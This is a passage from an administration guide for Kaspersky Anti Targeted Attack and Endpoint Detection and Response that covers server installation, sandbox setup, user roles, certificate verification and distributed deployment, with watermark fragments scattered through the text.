Depending on the total number and location of computers, deployment may require more servers for
connecting all endpoint agents:
— In large organizations where the number of computers exceeds the capacity of a single central
node (15,000), multiple central nodes will need to be deployed and joined into a common
or
structure (distributed mode) to collect and process telemetry from all computers.
— In large organizations where the number of computers exceeds the capacity of a single central
node (15,000 hosts), but is less than 30,000 hosts, you can deploy the central node on a cluster
to collect and process telemetry from all computers.
d
— To connect computers located outside the network perimeter, use an additional server deployed
in the DMZ. For security reasons, it is better to deploy a KATA sensor in the DMZ and use it as a
e
proxy for endpoint agents’ connections.

— To reduce interoffice traffic in geographically distributed organizations, deploy a dedicated
pi
central node in each office. When exchanging data, central nodes mainly replicate lists of EDR
agents (endpoint agents), alerts and settings.
Computers’ telemetry is stored in the local database of the central node to which they are
co
connected and is not replicated between the central nodes. However, when you search for
events using the Threat Hunting tool, each query is copied to all central nodes and the search
results are sent to the primary central node to be displayed in its console. Anyway, this data is
significantly less than a continuous flow of telemetry from endpoints.
— In a small office, you can use a sensor as a proxy for security reasons. In this case, you don't
be
need to allow all computers to connect to the central node located in the headquarters; instead,
you can grant this permission to the sensor only.
A sensor does not reduce traffic that goes from endpoint agents to the central node.
Kaspersky Anti Targeted Attack

to
Prior to deploying Kaspersky Anti Targeted Attack, examine the customer's network infrastructure:
1. First, gather information about the customer’s network:
t
— Internet access points;

No
— Remote offices;
— Channels’ bandwidth;
— Connections between the head office and remote sites.
54
Administration
KATA analyzes the company’s incoming and outgoing network traffic. We recommend that you
ed
analyze both network and mail traffic.
2. Determine ways of integrating with the infrastructure and the location of relevant devices and
servers:
ut
— Receive mirrored traffic from network devices;
— Retrieve copies of objects from proxy servers;
— Retrieve copies of mail messages from mail servers or receive messages from mail
ib
gateways;
— Receive data from Kaspersky Secure Mail Gateway, Kaspersky Security for Linux Mail
Server or Kaspersky Web Traffic Security.
r
st
Avoid receiving the same traffic from different sources.
3. Calculate the hardware configuration of KATA servers using the information about the
infrastructure from the previous steps
di
When planning, please consider that:
— There can be one or several sensors on one network;
re
— A server can combine the roles of central node and sensor;
— We recommended that you scan both network and mail traffic rather than only one of them;
— Kaspersky Secure Mail Gateway can act as a sensor and capture mail traffic;
— Kaspersky Web Traffic Security can substitute for integration with the proxy server;
— If necessary, you can use a distributed installation with several central nodes.
or
3.2 Server installation

e d
The central node, sensor and sandbox components can be installed in any order.
When you install the central node on a cluster, it is important to install a storage node first; then you can
pi
add other nodes to the cluster in any order.

co
be
t to
No
55
Administration
Deployment on a virtual infrastructure has the following limitations. The Central Node and Sensor
ed
components support only VMware ESXi 6.7 and 7.0.
For the Sandbox component:

— Supported virtual platform: VMware ESXi 6.7, 7.0;
ut
— Supported CPU: Intel Xeon.
Installation of central node as a cluster
ib
Installing a storage server
r
st
di
re
or
e d
pi
co
To start installing the storage server of a central node cluster, insert the installation disk in the server or
mount an ISO image. Boot the server from it and wait for the installation to begin automatically. During
the central node installation, Ubuntu Server 20.04.5 operating system will be deployed with the necessary
packages.
be
The system will prompt you to select the type of server that you plan to install; a storage server is always
installed first, so choose type 1. After that, the system will prompt if this node is the first node of a cluster
or if we are adding this node to an existing cluster. Select type 1, because this is the first node of a new
cluster.
to
After that, confirm that you are ready to read the license agreement.
t
No
56
Administration
ed
ut
ib
r
st
di
re
Select the language of the license agreement. The installation language is English; the license agreement
may also be available in other languages. Read and click I accept if you agree. The administrator must
or
accept the License Agreement to continue installing the product.
e d
pi
co
be
to
Select a drive to install the central node operating system. The installer will map the drive and install the
operating system and software required for the central node.
t
We recommend that you use a dedicated partition on a high-performance RAID array for data storage.
No
For more information, see the section devoted to deployment planning above and the online help. You will
select drives for storing data later during the installation.
57
Administration
Then select subnets for the cluster and the product.
ed
ut
ibr
st
di
re
or
Select the internal interface that will be used for communications between the cluster nodes and the
external interface for communications with external systems.
For the external interface, you can get network settings using DHCP or set them statically: specify the ip
d
address, subnet mask and gateway.

e
Specify the password for the admin account that you will use to configure the cluster and access it locally
or via ssh.
pi
co
be
t to
No
Specify at least one DNS and one NTP server.
58
Administration
Select disks for the Ceph storage (at least 3 disks).
ed
Installing a processing server
ut
ib
r
st
di
re
To start installing the storage server of a central node cluster, insert the installation disk or mount the ISO
or
image to the server. Boot the server from it and wait for the installation to begin automatically. During the
central node installation, Ubuntu Server 20.04.5 operating system will be deployed with the necessary
packages.
The system will prompt you to select the type of server that you plan to install; for a processing server,
d
select type 2.
e
pi
co
be
t to
No
59
Administration
ed
ut
ib
r
st
di
re
or
d

e
pi
co
be
t to
No
60
Administration
Select the internal interface that will be used for communications between the cluster nodes and the
ed
external interface for communications with external systems.
ut
or via ssh. The password must match the password that you entered when installing the first storage
node of the cluster.
ib
Enable the node to capture traffic if necessary; if you need to receive traffic from the SPAN interface,
select y.
r
Cluster configuration
st
di
re
or
e d
pi
co
To configure the cluster, open https://<ip-address>:8443 in a browser, where https://<ip-address> is the

address of any cluster node; to log on, use the admin account (select the Local Administrator
be
checkbox) and its password that you specified during the installation of the first storage node.
The Cluster page shows the connected nodes and their statuses.
t to
No
61
Administration
ed
ut
ib
r
st
di
In the Server Configuration section, specify the planned values:
re
or
— Number of agents;
— Mail traffic volume;
— SPAN traffic volume.
d
The system will show the estimated size of the event database and storage. You can edit these values.
Click Configure to start setting up the cluster. After the configuration is completed, you will be able to log
e
on to the Administrator account with the Administrator password (select the Local Administrator
checkbox).
pi
co
be
t to
No
62
Administration
Now you can use the interface to work with the central node.
ed
Installing a central node on a single server
ut
Installing a central node on a single server doesn’t differ much from a cluster installation, except that all
components are installed on the same server.
Installation procedure:
ib
1. To start installing the central node server, insert the installation disk or mount the ISO image to
the server. Boot the server from it and wait for the installation to begin automatically. During the
central node installation, Ubuntu Server 20.04.5 operating system will be deployed with the
r
necessary packages.
st
2. The system will prompt you to select the type of server that you plan to install; if you need to
install the non-cluster variant of the central node, select type 3.
3. After that, confirm that you are ready to read the license agreement.
di
4. Select the language of the license agreement. The installation language is English; the license
agreement may also be available in other languages.
re
5. Read and click I accept if you agree. The administrator must accept the License Agreement to
continue installing the product.
6. Select a destination drive for product installation from the list. The installer will map the drive and
install the operating system and software required for the central node.
or
7. Confirm the installation
8. Then select subnets for the cluster and the product.
9. Specify the external interface. You can get network settings using DHCP or set them statically:
specify the ip address, subnet mask and gateway.
d
10. Specify the password for the admin account that you will use to configure the cluster and access
it locally or via ssh.
e
11. Specify at least 1 DNS server.

pi
12. Enable the node to capture traffic if necessary; if you need to receive traffic from the SPAN
interface, select y.
13. Specify at least 1 NTP server.
co
14. To configure the central node, open https://<ip-address>:8443 in a browser, where https://<ip-
address> is the central node address; to log on, use the admin account (select the Local
Administrator checkbox) and its password that you specified during the installation of the first
storage node.
15. In the Server Configuration section, specify the planned values:
be
— Number of agents;
— Mail traffic volume;
— SPAN traffic volume.
to
The system will show the estimated size of the event database and storage. You can edit these
values. Click Configure to start setting up the central node. After the configuration is completed,
you will be able to log on to the Administrator account with the Administrator password (select
the Local Administrator checkbox).
t
No
63
Administration
Sensor installation
ed
ut
ib
r
st
di
Sensors are installed from the same image as central nodes.
re
To start a sensor installation, insert the installation disk or mount the ISO image to the server. Boot the
or
server from it and wait for the installation to begin automatically. During the central node installation,
Ubuntu Server 20.04.5 operating system will be deployed with the necessary packages.
The system will prompt you to select the type of server that you plan to install; for sensor, select type 4.
d
e
pi
co
be
t to
No
64
Administration
ed
ut
ib
r
st
di
re
or
d

e
pi
co
be
t to
No
Select the internal interface that will be used for cluster communications and the external interface for
communications with external systems.
65
Administration
ed
or via ssh.
ut
ibr
st
di
re
or
e d
Specify at least one DNS and one NTP server.

pi
You can log on to the sensor management interface using the admin account locally or using ssh.
co
be
t to
No
66
Administration
Sandbox installation
ed
ut
ibr
st
di
re
or
Additional requirements when installing Sandbox on a hypervisor:

d
— Hardware:
— Hypervisor: VMware ESXi 6.7, 7.0;
e
— CPU: Intel Xeon 15 Core (HT);

pi
— RAM: 32GB;
— Hard drive space: 300GB.
co
— Virtual machine parameters:

— Reserve the entire CPU resource pool;
be
— Select High for the Latency Sensitivity.

t to
No
67
Administration
ed
ut
ib
r
st
di
re
To start the sandbox installation, insert the installation disk in the server or mount an ISO image. Boot the
or
machine from it. Select Install product to disk or wait for installation to begin automatically.
Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response sandbox is installed with
the CentOS 7.9 operating system and the required software packages. Update repositories are disabled
on the system. Only updates issued by Kaspersky can be installed.
d
Select the language of the End User License Agreement and Privacy Policy. The installation language is
e
English; the license agreement and the privacy policy may also be available in other languages. Read
and click I accept if you agree. If the administrator does not accept any of the two, the installation will be
pi
aborted.
co
be
t to
No
68
Administration
Select the destination drive. The installer maps the selected drive and installs the CentOS operating
ed
system, which includes packages required for the sandbox server operation.
If the administrator cancels the process before the operating system and software has been installed and
restarts the installer later, the installation process will begin from the first step (EULA language selection).
ut
Select a name for the sandbox server. This name is not important because it is not used anywhere. You
will use the IP address to connect a central node to the sandbox. However, a server must have a name,
and you need to specify it.
rib
st
di
re
or
e d
pi
Select the network interface where sandbox will accept administrator’s connections and connections from
the central node that will send objects for scanning and request the results.
co
This is the management interface. Specify an IP address and a subnet mask for it.
Configuring IP parameters via DHCP is not supported.
For optimal operation, the sandbox server needs another interface for the virtual machines (on which
objects’ behavior is analyzed) to access the internet. This interface is configured via the sandbox web
be
console rather than during the installation.

t to
No
69
Administration
ed
ut
ibr
st
di
re
At the next step, add a DNS server and specify its IP address. If necessary, add other DNS servers.
or
The sandbox server uses DNS settings only to download updates.
Virtual machines that analyze potentially dangerous objects use other name resolution settings that are
not in any way related to the organization's infrastructure.
e d
pi
co
be
t to
No
Then specify the route for the sandbox server to communicate with the network from which the
administrator will connect to the sandbox web interface after the installation.
70
Administration
If the administrator’s computer is located in the same subnet as the sandbox, the route is of no
ed
importance. If the administrator will connect from another subnet, specify the address of the gateway that
will be able to transfer packets from the sandbox to this subnet.
So far, you have configured only the management interface, therefore, specify a gateway accessible from
ut
the management interface. You will be able to modify the configured routes in the web console later.
r ib
st
di
re
or
d
Set the minimum password length for sandbox accounts. The default value is 12 characters. You cannot
e
specify less than 8 characters.
Then specify the user name and password of the sandbox administrator. The password must:
pi
— Conform to the length requirement that you have imposed;

— Contain at least 3 out of 4 types of characters: lower-case letters (a-z), upper-case letters (A-Z),
co
numerals and non-alphabetic characters;

— Be different from the username.
The default name of the administrator account is admin. Usernames are case-sensitive.
be
The administrator account has the right to log on to the operating system locally (or via SSH) and log on
to the sandbox web console. No other accounts are required for sandbox use cases.
t to
No
71
Administration
ed
ut
rib
st
di
The sandbox server setup has been completed.
re
or
There is no Back button in the installation wizard. To modify mistyped parameters, either start
the installation from scratch, or finish the installation as is and reconfigure the parameters via the text
console or the sandbox web interface.
d
The management console opens when you log on to the sandbox server locally or via SSH after a
successful installation.
e
A sandbox server is not fully operational immediately after the installation. It is designed to run files sent
pi
for scanning within virtual machines, log local and network activity of the virtual machine, analyze activity
logs and make a conclusion if the file is dangerous.
To be able to do this, the sandbox server must host ready-to-run virtual machines. Images of these virtual
co
machines are supplied as ISO files that you need to upload through the sandbox web interface.
Also, to be able to examine suspicious objects in an optimal manner, you need to configure an additional
interface through which these objects will access the internet from inside the virtual machines. This is also
done in the web interface.
be
To connect to the sandbox web console, in a browser’s address bar, type https://<sandbox IP
address>:8443.
A sandbox protects connections using a self-signed certificate by default and you will have to confirm a
security exception in the browser. You can replace the certificate of the server in its settings.
to
To log on to the server, use the account that you created during the installation. By default, this account is
named admin.
All sandbox settings are available in its web console. The administrator can:
t
— Modify the update source and download updates;

No
— Authorize connections from central nodes;

— Modify the network settings;
— Install service packs;
72
Administration
— Configure the time;
ed
— Upload virtual machine images;
— Export settings and logs;
— Change the administrator’s password;
— Restart or shut down the server;
— Select the interface language.
ut
The text (ssh) console is mostly necessary for troubleshooting. For example, if you incorrectly specified
network settings and cannot open the web console, log on to the sandbox server locally and reconfigure
ib
the network.
In the sandbox web console, you can modify the network settings specified during the installation:
r
— Server name;
— DNS server addresses;
st
— IP address of the management interface;
— Routes.
di
re
or
e d
pi
co
be
All connections between KATA servers are protected with TLS. To ensure that KATA servers trust the
certificates with which TLS connections are protected, it is important that time coincide on all servers6.
To set time for the sandbox server, select the time zone and specify the date and time. We recommend
that you specify NTP servers to make sure the time is synchronized automatically on the KATA servers.
t to
6If all servers are located within the same time zone, the same time must be set on them. If they are located in different time
No
zones, the difference in time between the servers must exactly match their time zone differences.
73
Administration
ed
ut
ib
r
st
di
We recommend that you have two interfaces on the sandbox server:
—
re
or
One for administration and receiving data from the central node (the management interface);
— The other for the samples being analyzed to access the internet (the internet interface).
If there is only one interface, it will be used for interaction with central node and management; samples
will not have internet access.
d
We recommend that you allow samples being analyzed to access the internet. A malicious object could
connect to a C&C server or download an attack module. Additional information about the object’s
e
functionality will raise the level of detection and assist incident investigation.
pi
Block network access to the company from this interface to protect the network and other KATA servers
from objects being analyzed. Do not scan traffic that passes through this interface by any security
products, including KATA.
co
To connect the sandbox’s virtual machines to the internet, in the Internet interface section, select the
necessary interface and configure for it:
— IP address;
— Subnet mask;
—
be
Gateway address.
The gateway address specified for this internet interface will be used only within the virtual machines. The
operating system of the sandbox server uses the routes (including the default route) specified on the
Static routes page.
to
First, the list of static routes contains only the default route specified for the management interface during
the installation.
All in all, to operate properly, sandbox server needs routes for the following directions:
—
t
From the central node;

— To the update source;
No
— To the specified DNS servers to be able to resolve names of Kaspersky update servers;
— To the subnet from which the administrator connects to web interface or to the text interface over
SSH.
74
Administration
Depending on the network topology, all these directions can be covered by the default route alone, or
ed
require configuring several static routes.
Only the sandbox operating system uses routes from this list. Virtual machines (within which potential
malicious files are run) use settings of the internet interface that we described earlier in this guide.
ut
If the sandbox has an internet interface connected to an isolated internet channel, we recommend that
you configure static routes as follows:
— In the settings of the default route 0.0.0.0/0, specify the name of the internet interface and
ib
address of the internet interface gateway;
— Set up individual routes (via the management interface) to the central node and to the subnet
from which administrators connect.
r
st
With this configuration, the sandbox will establish outgoing connections only via the isolated internet
interface.
di
re
or
e d
pi
co
The sandbox server is installed without virtual machines. Images of virtual machines are available as ISO
be
files. To add them:

— Upload them to the sandbox server.
— Unpack images and activate software licenses.
— Prepare and install the machines.
The administrator only needs to click a few buttons in the web console and specify the path to the ISO
to
files. The sandbox server will do the rest automatically.
Sandbox only works with special Kaspersky ISO images. Moreover, each Sandbox version uses different
images. Do not try to upload a custom ISO image to the sandbox, the server will reject it.
t
No
The following guest virtual machine images are available:

— Windows XP SP3;
— Windows 7 64-bit SP1;
75
Administration
— Windows 10 64-bit;
ed
— Astra Linux 1.7;
— CentOS 7.8.
Various versions of office software, web browsers and some other popular programs are installed on
ut
each virtual machine. Different versions of applications are used in different operating systems.
To improve the detection rate and receive more data for incident investigation, we recommend that you
add all necessary images to the system. The following combinations are available:
ib
— Windows XP 32-bit, Windows 7 64-bit, Windows 10 64-bit;
— Windows XP 32-bit, Windows 7 64-bit, Windows 10 64-bit, Astra Linux 1.7;
— Windows XP 32-bit, Windows 7 64-bit, Windows 10 64-bit, CentOS 7.8.
r
If you skip some image, the system will not work.
st
To upload a virtual machine image to the server, click the Upload button in the sandbox web interface or
copy the ISO file with the image to the folder /var/opt/kaspersky/apt/files, for example, using the secure
di
copy protocol (SCP).
To extract virtual machine files from the image and prepare it for operation, click the button Create VM.
After extracting files from the image, sandbox activates Microsoft and Adobe software. The licenses are
re
included with KATA/KEDR Sandbox. The customer does not need to purchase any additional licenses.
Read the Microsoft and Adobe license agreements for disk images and click I accept the terms if you
agree. The respective license agreement is displayed when you add each image to the system. For Astra
or
Linux, you also need to read its license agreement and click I accept the terms if you agree. When you
install a virtual machine with CentOS 7.8, a license agreement window does not open, because you don't
need to accept a license agreement to use this operating system.
As soon as all images have been added, click Install ready VMs and wait for the environment to be
d
prepared. This is the final step of the sandbox server installation process, after which the server will be
operational.
e
In total, it takes several hours to load images to the server and prepare the virtual machines for operation.
pi
During the preparation, the sandbox creates user files in the virtual machines and simulates traces of
user activity to add fresh creation and access timestamps to documents. Afterwards, the sandbox takes
snapshots of virtual machines that it will use for analysis.
co
Sandbox updates snapshots every day to ensure that there are always fresh traces of user activity inside
each virtual machine to make malicious objects ‘believe’ that they get inside a normal computer in an
organization’s network rather than in a virtual environment.
Sandbox virtual machines are configured in a way that malicious objects cannot easily ‘understand’ that
be
they are running in a specialized sandbox instead of a real system.
To complete the installation, specify the maximum number of virtual machines that the sandbox will be
able to run concurrently when analyzing files.
to
The default value for the number of simultaneously running VMs is 48. The maximum value is 200.
Every file is usually scanned on several types of virtual machines. Additionally, Sandbox can collect file
behavior data in two modes:
— Full logging mode, when the sandbox collects more detailed data for analysis, but cannot watch
t
the object’s activity for too long because of resource considerations;

No
— Quick scan mode with fewer details, but longer effective monitoring.
76
Administration
On which virtual machines and in which mode to scan an object depends on the object type (document,
ed
script, executable file, URL) and where it came from (traffic, mail, manually uploaded by an analyst).
Decision-making logic can be updated together with threat detection databases.
ut
3.3 Activation and initial setup
ib
The central node web interface is the primary tool of security personnel who work with Kaspersky Anti
Targeted Attack/Kaspersky Endpoint Detection and Response. To use it, make sure one of the following
browsers is installed on your computer:
r
— Mozilla Firefox for Linux,
st
— Mozilla Firefox for Windows,
— Google Chrome for Windows,
— Google Chrome for Linux,
— Edge (Windows),
di
— Safari (Mac).
The Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response web interface is
re
protected against Cross-Site Request Forgery (CSRF) and only works if the user’s web browser sends
the Referer header with HTTP POST requests. That is why you must make sure your browser does not
modify the Referer header in HTTP POST requests. If the internet connection uses a proxy server, it must
not modify this header either.
or
To open the central node web console, enter https://<central node IP address>:8443 (or just
http://<central node IP address> and the central node will automatically redirect you to the secure page).
Use the Administrator account to log on to the server. The admin account, under which you can log on
locally or via ssh, has access only to the configuration page of the central node.
d
When you log on to the web console under the Administrator or admin account, select the Local
e
administrator checkbox above the name field.

pi
You will be able to create additional accounts for administrators and security personnel later. Do not
select the Local administrator checkbox for them.
If the web console is open on any page other than the Dashboard and the user is inactive for more than
co
1 hour, the session ends.

be
t to
No
77
Administration
Central node activation
ed
ut
ibr
st
di
re
or
Without a license, the central node neither downloads database updates, nor sends requests to
Kaspersky Security Network, nor uses any other detection technology. Also, many sections of the web
interface are hidden.
d
You can install a license on a central node via its web interface. Sensors periodically connect to it to
check if a license is available. Sandbox accepts files only from a central node in Kaspersky Anti Targeted
e
Attack/Kaspersky Endpoint Detection and Response; if the central node is not activated, Sandbox does
not receive or scan anything. A Sandbox does not need to be activated separately.
pi
co
be
t to
No
78
Administration
To add a license, log on to the web console as administrator and go to Settings | License. In the KATA
ed
or KEDR area, click Import and specify the license key file. After the file is uploaded, the following will be
displayed in the console:
— Serial number,
— Activation date,
ut
— Expiration date,
— Remaining days.
Central nodes don't support activation codes in Kaspersky Anti Targeted Attack/Kaspersky Endpoint
ib
Detection and Response.
You will be able to change or delete the key file later if such a need arises.
r
When a license expires, databases stop updating and KSN becomes inaccessible.
st
Downloading updates to the central node
di
re
or
e d
pi
co
be
You can choose one of the following update sources:

— Kaspersky secure update servers;
— Kaspersky update servers;
— Custom server (http only) — use a data diode for updates in isolated networks.
to
Creating users
There are local logon accounts for the central node, sensor and sandbox in Kaspersky Anti Targeted
t
Attack/Kaspersky Endpoint Detection and Response. These accounts are created during the servers’
No
installations. To change their passwords on the central node after the installation, click on the account
name in the web interface and select Change Password. To change password of the sandbox server
administrator, open the sandbox text console and select Change the system administrative account
password.
79
Administration
The web interface administrator role is designed for configuration and troubleshooting server issues. It is
ed
not designed for setting up attack detection parameters or processing alerts.
Attack detection setup and monitoring is what security personnel are responsible for. You can create
accounts for them in the central node administrator's web console, in Settings | Users.
ut
r ib
st
di
re
or
e d
Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response supports the following user
roles that have different privileges in the web interface:
pi
— An administrator is responsible for the product configuration and maintenance, but does not work
with security events;
— The local administrator (Administrator) is responsible for the product configuration and
co
maintenance, does not work with security events, but can manage distributed mode;
— The local administrator (admin) is required for initial configuration;
— A senior security officer has the rights to configure detection technologies and process alerts, but
cannot access the settings related to servers’ interaction with each other or with the customer's
be
infrastructure;
— (Ordinary) security officers are not allowed to reconfigure detection technologies and can access
only some of the alerts in the web interface. They cannot see details of VIP alerts;
— An auditor has read access to all interface sections.
t to
No
80
Administration
ed
ut
r ib
st
di
re
or
When creating an account, type a password that must:
— Be different from the username;
— Conform to the length restriction specified during the installation;
— Contain at least 3 out of 4 types of characters: lower-case letters (a-z), upper-case letters (A-Z),
d
numerals and non-alphabetic characters.

e
A user can possess only one role. An account cannot be deleted; its role cannot be changed either; but
you can change the password or block an account.
pi
The web interface administrator created during the central node installation has the same permissions as
administrators created via the web console. But the account of the initially created administrator is not
visible in the list of web console users, it cannot be disabled, and when you log on to the web console
co
under it, you must select the Local administrator checkbox.
Only this initially created ‘local' web interface administrator (Administrator) can reconfigure a distributed
installation (make a central node primary and connect secondary central nodes to the primary central
node).
be
t to
No
81
Administration
Authentication under Active Directory accounts
ed
ut
ibr
st
di
re
or
To avoid creating additional local accounts for employees who work with KATA/KEDR, you can configure
integration with Active Directory.
d
To integrate:
e
— Create a DNS record.

— Create a keytab file.
—
pi
Configure integration in the central node interface.

co
be
t to
No
82
Administration
With integration in place, you can select a Domain user account when creating a new system user.
ed
In this case, SSO will work when this domain user authenticated on a workstation opens `KATA interface.
ut
rib
st
di
re
or
To use SSO:
d
— Log on to a domain account added to KATA on a workstation.

— Open the web console of the central node using its DNS name.
e
— The DNS name of the central node must be added to the Local Intranet zone.
pi
Connecting a central node to a Sandbox

co
To scan objects on a sandbox server, you need to connect a central node to it. During the connection,
servers exchange their certificates and the administrator confirms authenticity of these certificates. Later,
the central node will establish secure connections to the sandbox and both servers will verify their
respective identities using the saved certificates.
A central node can be connected to several sandbox servers, and several central nodes can also be
be
connected to a single sandbox server.
You can connect a central node to a sandbox server during the installation. You will also be able to do it
later, for example, if you need to:
— Connect the central node to a new sandbox server;
to
— Restore connection after an upgrade or after replacing the certificate.
By default, KATA servers use self-signed certificates created during the installation. You can replace
them with the customer’s certificates, but all connections between the servers will need to be authorized
anew.
t
No
If time differs across the Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response
servers, it may hamper verifying the certificate, and you will not be able to connect the central node to the
sandbox. Before connecting servers to each other, make sure the same time is configured on them (when
83
Administration
converted to UTC). To avoid issues because of different time settings, configure all servers to use the
ed
same NTP server.
ut
r ib
st
di
re
or
When connecting a central node and a sandbox, send a connection request from the central node and
d
confirm it on the sandbox. To send a request:

1. Log on to the central node web console as an administrator.
e
Security officer accounts are not allowed to connect the central node to a sandbox.
pi
2. Go to Sandbox servers and click the Add button.

3. Type the IP address of the sandbox server and click the button Get certificate fingerprint.
co
The central node will establish a TLS connection to the specified address; if it succeeds, the
sandbox server certificate fingerprint will be displayed.
4. Compare this certificate fingerprint with the fingerprint of the actual certificate on the sandbox
server.
be
If you have typed the sandbox IP address correctly, the fingerprint that you see in the central
node console must coincide with the fingerprint of the sandbox server displayed in the sandbox
web console on the KATA Authorization page.
If the fingerprints mismatch, it may mean that:
— You have mistyped the IP address; make sure the IP address entered on the central node
to
coincides with the sandbox server IP address (it is displayed in the sandbox web console on
the KATA Authorization page).
— Someone or something intercepts secure connections via certificate spoofing (man-in-the-
middle). Ask the IT department whether they use secure connection analysis tools, and if no,
congratulations! You’ve detected an attack on the customer’s network.
t
No
5. If the sandbox certificate fingerprints match, send a connection request. For this purpose, in the
central node console, specify a name for the sandbox server and click the Add button.
84
Administration
The central node will send a connection request to the sandbox; it will be displayed in the
ed
sandbox web console on the KATA Authorization page. The central node certificate fingerprint
will also be displayed in the request on the sandbox side.
ut
r ib
st
di
re
or
d
6. Compare the certificate fingerprint in the request on the sandbox side with the central node
certificate fingerprint from its own web console.
e
The central node certificate fingerprint is displayed in its web console on the Settings |
Certificates page.
pi
If the fingerprints mismatch, proceed to incident response: someone spoofs certificates in the
network to intercept secure connections.
co
7. If the central node certificate fingerprints coincide, accept the request on the sandbox side. For
this purpose, click Accept in the request and then click the Apply button at the bottom of the
page.
The connection status will change to Approved on the central node. In the future, you will be able
to withdraw connection authorization from either sandbox or central node if necessary.
be
t to
No
85
Administration
ed
ut
ibr
st
di
re
After connecting the sandbox to the central node, you can configure downloading updates from the
following sourses:
or
— Kaspersky secure update servers;
— Kaspersky update servers;
— Custom server (http only).
e d
pi
co
be
to
You need to choose one of the following options:

t
— Windows XP 32-bit, Windows 7 64-bit, Windows 10 64-bit;

No
— Windows XP 32-bit, Windows 7 64-bit, Windows 10 64-bit, Astra Linux 1.7;

— Windows XP 32-bit, Windows 7 64-bit, Windows 10 64-bit, CentOS 7.8.
86
Administration
Connecting a sensor to the central node
ed
If there is a dedicated sensor in your installation, it must be connected to a central node. The connection
principle is the same as between a central node and a sandbox.
ut
A sensor can be connected to one central node only, but you can connect several sensors to a single
central node. If there are several central nodes and several sensors in an installation, different sensors
may be connected to different central nodes.
ib
As certificates are verified during the authentication, make sure the same time is configured on the sensor
and central node (if converted to UTC).
r
st
di
re
or
e d
pi
co
To connect a sensor to a central node:

1. Log on to the sensor (either locally or via SSH) under the admin account.
2. In the text console, open Program settings | Configure Central Node.
3. Click Change and specify the central node address.
be
The sensor will try to establish a secure connection to the specified address. In case of success,
the sensor will display the central node certificate fingerprint.
4. Verify authenticity of the central node certificate.
Make sure the fingerprint that sensor shows coincides with the actual central node certificate
to
fingerprint. You can find the fingerprint of the central node certificate in Settings | Certificates.
If the fingerprints mismatch, start investigating a man-in-the-middle attack.
5. If the fingerprints coincide, select OK in the sensor text console. It will send a connection request
to the central node.
t
Upon sending the request, the sensor will display a window with its own certificate fingerprint.
No
6. Compare the sensor’s certificate fingerprint with the fingerprint displayed in the request on the
central node.
87
Administration
You can find the request in the web console of the central node administrator on the Sensor
ed
servers page. To view the certificate in the request, click the Certificate fingerprint link in the
request.
If the fingerprints mismatch, investigate the incident.
ut
7. If the fingerprints coincide, accept the request on the central node side: click Accept in the
request.
ib
3.4 Distributed installation
r
Primary central node
st
di
re
or
e d
pi
The role of primary or secondary central node is selected after the installation. All central nodes are
co
initially installed as stand-alone.
To join several servers into a single structure in distributed mode:

1. Make one central node primary.
2. Connect other central nodes to it and they will become secondary.
be
To make a central node primary:

1. Log on to the central node web console as the ‘local’ administrator.
2. Open the Operation mode section and switch the mode to Distributed solution.
3. Select the Primary Central Node role for the server and enter the company name.
to
4. Apply the selected role and confirm your choice.
The transformation takes some time. The user session will be terminated automatically and you will need
to log on to the web console again when the transformation completes.
t
The new role of the central node is displayed on the logon page and at the bottom of the side menu in the
No
web console.
88
Administration
Assigning the PCN role to a server is irreversible. After you change the server role to PCN, you will not be
ed
able to change it neither to SCN nor to standalone server. If you need to change the role of such a server,
you will need to reinstall the program.
Companies in the distributed mode
ut
ibr
st
di
re
or
e d
Distributed installations are also used by MSP when a service provider analyzes and processes threats
pi
for multiple customers. In this case, the primary central node is fully managed by the service provider,
each customer must have at least one central node, and the customers’ central nodes must be connected
as secondary central nodes to the service provider's central node.
co
Companies are used to separate access in this case. An administrator of the primary central node creates
company objects for all connected organizations as well as for the service provider in the web console.
When a secondary central node is connected, the administrator of the primary central node indicates
which company it belongs to. You cannot connect a secondary central node without selecting a company
for it.
be
If an ordinary company uses distributed mode because it has a lot of computers or heavy traffic or
because of network topology, you will still need to create at least one company and assign all central
nodes to this company. You can also create fictitious companies for departments within the organization
and use them to differentiate access.
t to
No
89
Administration
Connecting secondary central nodes
ed
ut
r ib
st
di
re
or
The primary central node must already be prepared before you start configuring a secondary central
d
node.
e
The procedure is as follows:

1. Log on to the web console of the central node that you want to make secondary as the ‘local’
pi
administrator.
2. Open the Operation mode section and switch the mode to Distributed solution.
3. Select the Secondary Central Node role for the server.
co
4. In the PCN IP field, type the IP address of the primary central node and click Get certificate
fingerprint.
The certificate fingerprint of the primary central node will appear on the Operation mode page.
5. Compare it with the certificate fingerprint of the primary central node in the console of the
be
primary central node (on the Operation mode page).

6. If the fingerprints coincide, in the console of the central node that will become secondary, click
the button Send connection request.
t to
No
90
Administration
ed
ut
r ib
st
di
re
or
7. Make sure the connection request has appeared on the Operation mode page of the primary
central node console.
8. Compare the central node certificate fingerprint from the request with the certificate fingerprint in
the console of the respective central node.
d
9. If the fingerprints match, click the Accept button in the primary central node console.
e
10. Select the company (tenant) to which the secondary central node belongs and click Accept
again.
pi
If a distributed installation is configured within a single customer's network, you can specify the same
company for all central nodes.
co
In MSP use cases where one company manages protection of several other companies, create the
company to which a secondary central node belongs before you accept a connection request from it. To
create a company, open the primary central node's local administrator console and click the Add button
on the Operation mode page.
be
All connected secondary central nodes are displayed on the Operation mode page of the primary central
node, grouped by companies. On a secondary central node, this page displays the address of the primary
central node to which it is connected.
Transformation of a central node into secondary is reversible. To make a secondary central node stand-
alone, click the Disconnect button on its Operation mode page.
to
Normally, a secondary central node may need to be disconnected in the following cases:
— To upgrade central nodes, disconnect all secondary central nodes from the primary central node,
upgrade them and reconnect.
t
— To rename a company of a secondary central node, disconnect the secondary central node and
No
select a different company name when reconnecting it.
91
Administration
Users in a distributed installation
ed
ut
ibr
st
di
re
or
In distributed mode, only the primary central node needs to be activated with a license. Secondary central
nodes automatically receive the license from the primary central node and show it in the Settings |
d
License section. You can delete or replace a license on a secondary central node.
e
You can manage users only on the primary central node. Secondary central nodes receive list of users
from the primary central node. Any web console user accounts that were on a central node before it
became secondary are deleted, except for the local administrator account.
pi
Access settings for companies and secondary central nodes appear in the settings of security personnel
accounts on the primary central node (compared to the stand-alone mode). Administrator accounts have
co
access to all central nodes in a distributed installation.
In a distributed installation, the main management console is the console of the primary central node. All
users configured in the primary central node settings have access to the primary central node web
console.
be
